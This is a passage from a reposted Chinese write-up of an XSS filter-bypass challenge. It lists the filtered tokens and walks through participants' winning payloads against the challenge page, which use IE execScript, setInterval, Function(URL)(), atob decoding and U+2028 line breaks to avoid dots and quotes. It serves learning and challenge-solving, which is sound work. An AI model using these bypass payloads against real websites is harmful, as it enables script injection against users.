XSS挑战第二期 Writeup

转载

weixin_34403693 于 2018-03-08 10:47:37 发布 110 收藏
文章标签： php javascript ViewUI
原文链接：https://juejin.im/post/5aa114c8f265da23945f0eee

> mramydnei · 2014/02/16 12:01

0x00前言

之前搞了一期感觉反响挺好的，就又搞了一期。不过说实话审核起来很吃力，因为大家的答案都太给力了。所以在接下来的解释文当中如果出现错误，希望各位看官可以不吝指正。可能参与的人，都发现了这期的核心问题就是【没有了”.”我们应该如何去XSS？】。如果有人有心去谷歌过这个问题，应该会在sla.ckers.org/forum/read.…这个链接里，找到答案。

```
#!javascript
with(location)with(hash)eval(substring(1))
复制代码
```

作者在指定的代码区域内，使用with来实现了通过节点名称的对象调用。当然，如果问题只是这样的话，我相信大家会有很多的方案。所以为了增加点难度，我在上次的过滤规则上又过滤一些比较常用的手段。

0x01设定

---

(1) 过滤了所有的

```
#  \ < vbscript > ' 空格+on alert innerHTML document appenChild createElement src write String eval setTimec
复制代码
```

(2)过滤了第二个

```
" 和 =
复制代码
```

可能有些规则和一般意义上的过滤代码有较大的出入，这个也是因为怕有人把这个游戏理解成廉价的WAF测试。>.<

0x02结果

这次是上次挑战的第一名/fd拿下了这次挑战的First Blood。

```
#!html
<meta http-equiv="X-UA-Compatible" content="IE=9">
<iframe src=http://techni.duapp.com/challenge/index.php?xss=%22onblur=`execScript(URL)`#&#x2028;alert(1)></
复制代码
```

这应该算是集合了很多IE特色的答案。用到了兼容模式，来让最新版的IE支持这个反引号的使用，提高了XSS代码的兼容性也避免了因后面语句的修复所带来的长度问题。还有就是这个execScript在我的理解当中应该是和eval()拥有几乎相同的功能的一个IE特色方法。可能和eval最大的区别就是execScript的作用域非当前域，而是全局作用域吧。然后就是这个`#&#x2028;`可能一部分人不是特别熟悉，如果你有阅读过ECMAscript规范，那么你应该会发现除了`0x0A/0x0D`以外`U+2028/2029`也可以作为换行符来使用。

来自/fd的另一份答案：

```
#!html
<meta http-equiv="X-UA-Compatible" content="IE=9">
<iframe src=http://techni.duapp.com/challenge/index.php?xss=%22onblur=execScript(URL)%0b#&#x2028;alert(1)><
复制代码
```

放弃了使用反引号，而使用0x0b进一步的缩减了一个字符。

来自Sogili的答案：

```
#!html
<iframe src="http://techni.duapp.com/challenge/index.php?xss=%22oncut=setInterval(URL)%%26quot#&#8232;alert

<iframe src="http://techni.duapp.com/challenge/index.php?xss=%22oncut=`setInterval(URL)`#&#8232;alert(1)"><

<iframe src="http://techni.duapp.com/challenge/index.php?xss=%22oncut%3D%60Function%28URL%29%28%29%60#&#x20
复制代码
```

Sogili在第一个答案中选择了使用%+&quot的方式保证了后面语句的正确性。当然如果没有特殊限制，还有一些其它的逻辑运算符可以起到相同的作用（加减乘除和一些其它的符号）。然后就是这个setIterval函数，总体来说可能和setTimeout会有点相似。大的区别就在于eval会在指定的时间过后执行一次相对应的字符串的内容。而setIterval会在每经过设定的时间后都执行一次相对应的字符串。和/fd不同的是选择了`&#8232`来代替空白字符，最后巧妙地使用Function(URL)()（新建匿名函数并执行它的方式）完成了挑战。（看了几次没看懂，最后请教了一下二哥= =）

来自gainover的答案：

```
#!html
<script>    location.href='http://techni.duapp.com/challenge/index.php?xss="onblur=Function(URL)()%%26quot

<script>    location.href='http://techni.duapp.com/challenge/index.php?xss="oncut=Function(URL)%%26quot#\u
复制代码
```

和Sogili的最后一个答案大相径庭。

来自Retaker非常水的答案：

```
http://techni.duapp.com/challenge/index.php?xss=%22oncut%3DsetInterval%28value%29%2C%26quot
复制代码
```

有人说这个和自己在地址栏输入`javascript:alert(1)`也差不多了。其实包括提交者和我也这么认为。但是因为参与的人实在太少了，就算上了。不过有另外一个同学很巧秒的利用了这个value。

来自8qwe24657913的答案：

```
http://techni.duapp.com/challenge/index.php?xss=YWxlcnQoKzEp%22oncut%3Dnew%28Function%29%28atob%28value%29%

http://techni.duapp.com/challenge/index.php?xss=al%2565rt%283%265%29%22oncut%3Dnew%28Function%29%28decodeUR

http://techni.duapp.com/challenge/index.php?xss=YWxlcnQoKzEp%22oncut%3DsetInterval%28atob%28value%29%29%2C%

http://techni.duapp.com/challenge/index.php?xss=YWxlcnQoMSk%22oncut%3DsetInterval%28atob%28value%29%29%2C%2

<iframe src="http://techni.duapp.com/challenge/index.php?xss=%22oncut=execScript(opener),%26quot" onload="c

http://techni.duapp.com/challenge/index.php?xss=%22oncut=with(URL)execScript(slice(96)),%26quot#alert(1)

http://techni.duapp.com/challenge/index.php?xss=%22oncut=with(URL)setInterval(slice(97)),%26quot#alert(1)

http://techni.duapp.com/challenge/index.php?xss=%22oncut=with(URL)with(top)open(slice(0x65)),%26quot#javasc
http://techni.duapp.com/challenge/index.php?xss=afterEnd%22oncut%3DinsertAdjacentHTML%28value%2CURL%29%2C%2

http://techni.duapp.com/challenge/index.php?xss=%22oncut=with(URL)with(top)open(slice(0x65)),%26quot#javasc

http://techni.duapp.com/challenge/index.php?xss=al%2565rt%283%265%29%22oncut%3DsetInterval%28decodeURI%28va

http://techni.duapp.com/challenge/index.php?xss=al0ert%283%265%29%22oncut%3Dwith%28value%29setInterval%28re

http://techni.duapp.com/challenge/index.php?xss=oncutYWxlcnQoMSk%22oncut%3Dwith%28value%29setAttribute%28sl
复制代码
```

其中的一个答案用到了一个很老的IE Opener BUG。还有一个小亮点就是，多处用到了xss攻击中出场率不是很高的base64解码函数atob()。由于提交的答案实在是太多，我就不一一解释了，感兴趣的同学可以自己亲手试一下。

来自StarMoon的答案：

```
http://techni.duapp.com/challenge/index.php?xss=%22oncut=with(URL)execScript(slice(98))%25%26quot#alert(1)
复制代码
```

很中规中矩的答案，用with避免了”.”的使用，通过execScript来执行URL.slice(98)也就是#后面的alert(1)。

来自Dun的答案：

```
http://techni.duapp.com/challenge/index.php?xss="oncut%3DsetInterval%28decodeURI%28%26quot%2520aler%2574%28
复制代码
```

结合setInterval和decodeURI执行了部分二次URL编码后的alert(),最后再用`|&quot`修复了后面语句的正确性，完成了挑战。

0x03 写在最后

因为个人水平有限，可能挑战的内容做的不是很好。和实际场景相比有一些出入。如果你觉得这些答案都很有趣并想对上面的方法进行测试，可能需要你付出一点点的耐心。因为，所使用的浏览器的不同，版本的不同，系统补丁的不同等缘故可能会有无法重现的情况发生。

附上此次比赛的源代码：XSSC2.zip